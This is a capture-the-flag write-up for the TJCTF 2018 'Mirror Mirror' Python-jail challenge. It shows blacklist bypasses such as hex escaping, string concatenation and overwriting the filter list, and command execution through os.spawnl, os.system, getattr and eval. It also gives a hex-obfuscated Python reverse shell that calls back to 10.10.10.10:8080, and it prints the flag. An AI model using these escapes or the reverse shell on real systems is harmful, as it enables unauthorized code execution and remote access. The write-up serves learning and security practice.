TJCTF 2018 : Mirror Mirror
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
TJCTF 2018 | Mirror Mirror | MISC | 100 | 91 |
Description
If you look closely, you can see a reflection.
nc problem1.tjctf.org 8004
TL;DR
This challenge was a PyJail, the expected solution was to use obfuscation to bypass a non-alphanumeric regex. But we managed to find unexpected solution.
Enumeration
$ nc problem1.tjctf.org 8004
Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!
>>>
So, the challenge seems to be a PyJail, so let’s start to enumerate properties using dir() on the get_flag function.
>>> dir(get_flag)
[
'__call__',
'__class__',
'__closure__',
'__code__',
'__defaults__',
'__delattr__',
'__dict__',
'__doc__',
'__format__',
'__get__',
'__getattribute__',
'__globals__',
'__hash__',
'__init__',
'__module__',
'__name__',
'__new__',
'__reduce__',
'__reduce_ex__',
'__repr__',
'__setattr__',
'__sizeof__',
'__str__',
'__subclasshook__',
'func_closure',
'func_code',
'func_defaults',
'func_dict',
'func_doc',
'func_globals',
'func_name'
]
Let’s dig deeper in the func_globals attributes.
>>> get_flag.func_globals
{
'PseudoFile':<class '__main__.PseudoFile'>,
'code':<module 'code' from '/usr/lib/python2.7/code.pyc'>,
'bad':[
'__class__',
'__base__',
'__subclasses__',
'_module',
'open',
'eval',
'execfile',
'exec',
'type',
'lambda',
'getattr',
'setattr',
'__',
'file',
'reload',
'compile',
'builtins',
'os',
'sys',
'system',
'vars',
'getattr',
'setattr',
'delattr',
'input',
'raw_input',
'help',
'open',
'memoryview',
'eval',
'exec',
'execfile',
'super',
'file',
'reload',
'repr',
'staticmethod',
'property',
'intern',
'coerce',
'buffer',
'apply'
],
'__builtins__':<module '?' (built-in)>,
'__file__':'/home/app/problem.py',
'execfile':<built-in function execfile>,
'__package__':None,
'sys':<module 'sys' (built-in)>,
'getattr':<built-in function getattr>,
'Shell':<class __main__.Shell at 0x7f1979641c80>,
'banned':[
'vars',
'getattr',
'setattr',
'delattr',
'input',
'raw_input',
'help',
'open',
'memoryview',
'eval',
'exec',
'execfile',
'super',
'file',
'reload',
'repr',
'staticmethod',
'property',
'intern',
'coerce',
'buffer',
'apply'
],
'InteractiveConsole':<class code.InteractiveConsole at 0x7f1979641c18>,
'eval':<built-in function eval>,
'get_flag':<function get_flag at 0x7f19796518c0>,
'__name__':'__main__',
'main':<function main at 0x7f1979664410>,
'__doc__':None,
'print_function':_Feature((2,
6,
0,
'alpha',
2 ),
(3,
0,
0,
'alpha',
0 ),
65536 )
}
Yay, get_flag.func_globals contains the sys module, sounds good!
Import OS
Now, we need to access it, but we face an issue:
>>> get_flag.func_globals['sys']
Sorry, that's not allowed
Ok, so the word ‘sys’ is blocked, as all other words in get_flag.func_globals[‘bad’] and get_flag.func_globals[‘banned’]. To bypass this issue we can use the ‘sys’ from the bad wordlist itself.
>>> x = get_flag.func_globals['bad'][18]
>>> x
'sys'
>>> get_flag.func_globals[x]
<module 'sys' (built-in)>
Now, that we get the sys module we need os, you can get it through sys.modules[‘os’]. We used the same bypass we used earlier.
>>> y = get_flag.func_globals['bad'][17]
>>> y
'os'
>>> z = get_flag.func_globals[x].modules[y]
>>> z
<module 'os' from '/usr/lib/python2.7/os.pyc'>
Execute system commands
Let’s test our lovely os module.
>>> z.listdir('.')
[
'.bash_logout',
'.profile',
'.bashrc',
'wrapper',
'problem.py'
]
It works like a charm!
After that, we can go straight to the code execution, or not… The good thing is that we have access to the os module, and the bad is that a lot of functions to execute system commands are blocked, so we can’t simply do z.system(‘cmd’).
After several minutes reading the os’s module documentation, I finally found a set of functions that aren’t banned: os.spawn*().
>>> z.spawnl(1, '/usr/bin/id', 'id')
13663 # <- the pid of the created process
>>> uid=1000(app) gid=1000(app) groups=1000(app)
And we got the command execution! The RCE is enough to flag this challenge, but to be more comfortable, we will set up a reverse shell ;)
Get a reverse shell
Enumeration
First, we enumerate some tools to run a reverse shell on the system, using which.
>>> z.spawnl(1, '/bin/which','which','nc', 'netcat', 'ncat', 'php', 'telnet', 'perl', 'ruby', 'java', 'python', 'awk', 'gawk', 'node', 'nodejs', 'lua', 'tclsh', 'socat', 'xterm')
13686
>>> /usr/bin/perl
/usr/bin/python
/usr/bin/awk
There isn’t a lot of possibilities, so we’ll use Python.
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.10",8080));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Filter bypass
However, as in the beginning, the blacklist bothers us…
There are multiple ways to bypass it, we can use the same trick as we used to recover ‘sys’ and ‘os’, but I’ll use another one, hex encoding.
>>> '\x6fpen'
'open'
Let’s clarify a bit: since the wordlist validation process seems to be character based, the script will not match our payload since it has been encoded using escaped hexadecimal value, but it’ll be decoded as usual when it comes to execution step (’\x6f’ becomes a ‘o’). So let’s modify the reverse shell, to get it through the filter.
import socket,subprocess,\x6fs;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.10",8080));
\x6fs.dup2(s.\x66ileno(),0);
\x6fs.dup2(s.\x66ileno(),1);
\x6fs.dup2(s.\x66ileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Listening on 8080 port, we finally get a reverse shell!
$ nc -lvp 8080
listening on [any] 8080 ...
>>> get_flag.func_globals['\x73ys'].modules['\x6fs'].spawnl(1, '/usr/bin/python', 'python', '-c', 'import socket,subprocess,\x6fs;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",8080));\x6fs.dup2(s.\x66ileno(),0);\x6fs.dup2(s.\x66ileno(),1);\x6fs.dup2(s.\x66ileno(),2);p=subprocess.call(["/bin/sh","-i"])')
connect to [10.10.10.10] from 99.203.236.35.bc.googleusercontent.com [35.236.203.99] 40436
/bin/sh: 0: can't access tty; job control turned off
$ ls -lash
total 36K
4.0K dr-xr-xr-x 1 app app 4.0K Aug 7 15:43 .
4.0K drwxr-xr-x 1 root root 4.0K Aug 2 19:18 ..
4.0K -r--r--r-- 1 app app 220 Apr 4 18:30 .bash_logout
4.0K -r--r--r-- 1 app app 3.7K Apr 4 18:30 .bashrc
4.0K -r--r--r-- 1 app app 807 Apr 4 18:30 .profile
12K -r-xr-xr-x 1 root root 8.6K Aug 7 15:43 problem.py
4.0K -r-xr-xr-x 1 root root 79 Aug 2 19:51 wrapper
$ cat problem.py
#!/usr/bin/python -u
from __future__ import print_function
from code import InteractiveConsole
import code
import sys
getattr = getattr
eval = eval
execfile = execfile
bad = ["__class__", "__base__", "__subclasses__", "_module", "open", "eval", "execfile", "exec", "type", "lambda", "getattr", "setattr", "__", "file", "reload", "compile", "builtins", "os", "sys", "system"]
banned = ["vars", "getattr", "setattr", "delattr", "input", "raw_input", "help", "open", "memoryview", "eval", "exec", "execfile", "super", "file", "reload", "repr", "staticmethod", "property", "intern", "coerce", "buffer", "apply"]
bad.extend(banned)
def get_flag(input):
super_secret_string = "this_is_the_super_secret_string"
for each in str(input):
val = ord(each)
if((val >= 48 and val <= 57) or (val >= 65 and val <= 90) or (val >= 97 and val <= 122) or val == 44 or val == 95):
print(each + " is not a valid character")
sys.stdout.flush()
return
if(eval(input) == super_secret_string):
print(`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~((((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))))
else:
print("You didn't guess the value of my super_secret_string")
sys.stdout.flush()
class PseudoFile(object):
def __init__(self, sh):
self.sh = sh
def write(self, s):
self.sh.write(s)
def writelines(self, lines):
for line in lines:
self.write(line)
def flush(self):
pass
def isatty(self):
return True
class Shell(code.InteractiveConsole):
"Wrapper around Python that can filter input/output to the shell"
def __init__(self):
code.InteractiveConsole.__init__(self)
self.thread = None
def push(self, line):
for any in bad:
if any in line:
print("Sorry, that's not allowed.")
sys.stdout.flush()
return
return code.InteractiveConsole.push(self, line)
def raw_input(self, prompt=""):
print(">>>", end=" ")
sys.stdout.flush()
a = ""
try:
a = sys.stdin.readline().strip()
except EOFError:
pass
return a
def runcode(self, _code):
org_stdout = sys.stdout
sys.stdout = PseudoFile(self)
try:
exec _code in self.locals
except SystemExit:
raise
except:
self.showtraceback()
else:
if code.softspace(sys.stdout, 0):
print
sys.stdout = org_stdout
def interact(self, banner=None):
try:
sys.ps1
except AttributeError:
sys.ps1 = ">>> "
try:
sys.ps2
except AttributeError:
sys.ps2 = "... "
cprt = 'Type "help", "copyright", "credits" or "license" for more information.'
if banner is None:
self.write("Python %s on %s\n%s\n(%s)\n" %
(sys.version, sys.platform, cprt,
self.__class__.__name__))
else:
self.write("%s\n" % str(banner))
more = 0
while 1:
try:
if more:
prompt = sys.ps2
else:
prompt = sys.ps1
try:
line = self.raw_input(prompt)
# Can be None if sys.stdin was redefined
encoding = getattr(sys.stdin, "encoding", None)
if encoding and not isinstance(line, unicode):
line = line.decode(encoding)
except EOFError:
self.write("\n")
break
else:
more = self.push(line)
except KeyboardInterrupt:
self.write("\nKeyboardInterrupt\n")
self.resetbuffer()
more = 0
def main():
banner = ("Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!")
a = __builtins__
for each in a.__dict__.keys():
if("__" in each):
del a.__dict__[each]
del a.__dict__["getattr"]
del a.__dict__["eval"]
del a.__dict__["execfile"]
shell = Shell()
shell.locals['get_flag'] = get_flag
shell.locals['__builtins__'] = a
shell.interact(banner=banner)
if __name__=="__main__":
main()
Others methods
So we have exploited this Jail using sys.modules[‘os’].spawn*(), but there are several others methods: - Getattr - Eval
Getattr method
To execute commands using getattr, we need: getattr and os.
getattr(os, 'system')('/bin/sh')
We have already seen above how to access them.
>>> get_flag.func_globals['getatt'+'r']
<built-in function getattr>
>>> get_flag.func_globals['s'+'ys'].modules['o'+'s']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
Now that we have all the elements, we need to put them together, to get a shell.
>>> get_flag.func_globals['g'+'etattr'](get_flag.func_globals['s'+'ys'].modules['o'+'s'], 's'+'ystem')('/bin/sh')
id && pwd && ls -l
uid=1000(app) gid=1000(app) groups=1000(app)
/home/app
total 16
-r-xr-xr-x 1 root root 8803 Aug 7 15:43 problem.py
-r-xr-xr-x 1 root root 79 Aug 2 19:51 wrapper
If we don’t have access to os, we can use builtins, like open:
>>> b = globals()['_'+'_bui'+'ltins_'+'_']
>>> dir(b)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
>>> get_flag.func_globals['g'+'etattr'](b, 'o'+'pen')('problem.py', 'r').read()
'#!/usr/bin/python -u\n\nfrom __future__ import print_...'
Eval method
Using eval is pretty much the same as getattr.
>>> get_flag.func_globals['e'+'val']('o'+'pen("problem.py", "r").read()')
'#!/usr/bin/python -u\n\nfrom __future__ import print_...'
>>> get_flag.func_globals['e'+'val']("get_flag.func_globals['s'+'ys'].modules['o'+'s'].s"+"ystem('/bin/sh')")
But you can also, combine it with the catch_warnings technique.
>>> ev = get_flag.func_globals.values()[12]
>>> sc = ev('()._'+'_class_'+'_._'+'_base_'+'_._'+'_subclasses_'+'_()')
>>> sc[59]
<class 'warnings.catch_warnings'>
>>> ev('()._'+'_class_'+'_._'+'_base_'+'_._'+'_subclasses_'+'_()[59]._'+'_r'+'epr_'+'_.im_func.func_globals["linecache"].o'+'s.s'+'ystem("/bin/sh")')
Other blacklist bypass
Since the beginning, we have used different methods to bypass the blacklist (concatenation, hex encoding, and variable reuse) but there is another one, redefine the blacklist ;)
>>> get_flag.func_globals['bad']
['__class__', '__base__', '__subclasses__', '_module', 'open', 'eval', 'execfile', 'exec', 'type', 'lambda', 'getattr', 'setattr', '__', 'file', 'reload', 'compile', 'builtins', 'os', 'sys', 'system', 'vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply']
>>> get_flag.func_globals['bad']=()
>>> get_flag.func_globals['bad']
()
The blacklist is now empty!
>>> get_flag.func_globals['sys'].modules['os'].system('/bin/sh')
Flag
>>> print(`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~(~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~((((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))))
tjctf{wh0_kn3w_pyth0n_w4s_s0_sl1pp3ry}
DrStache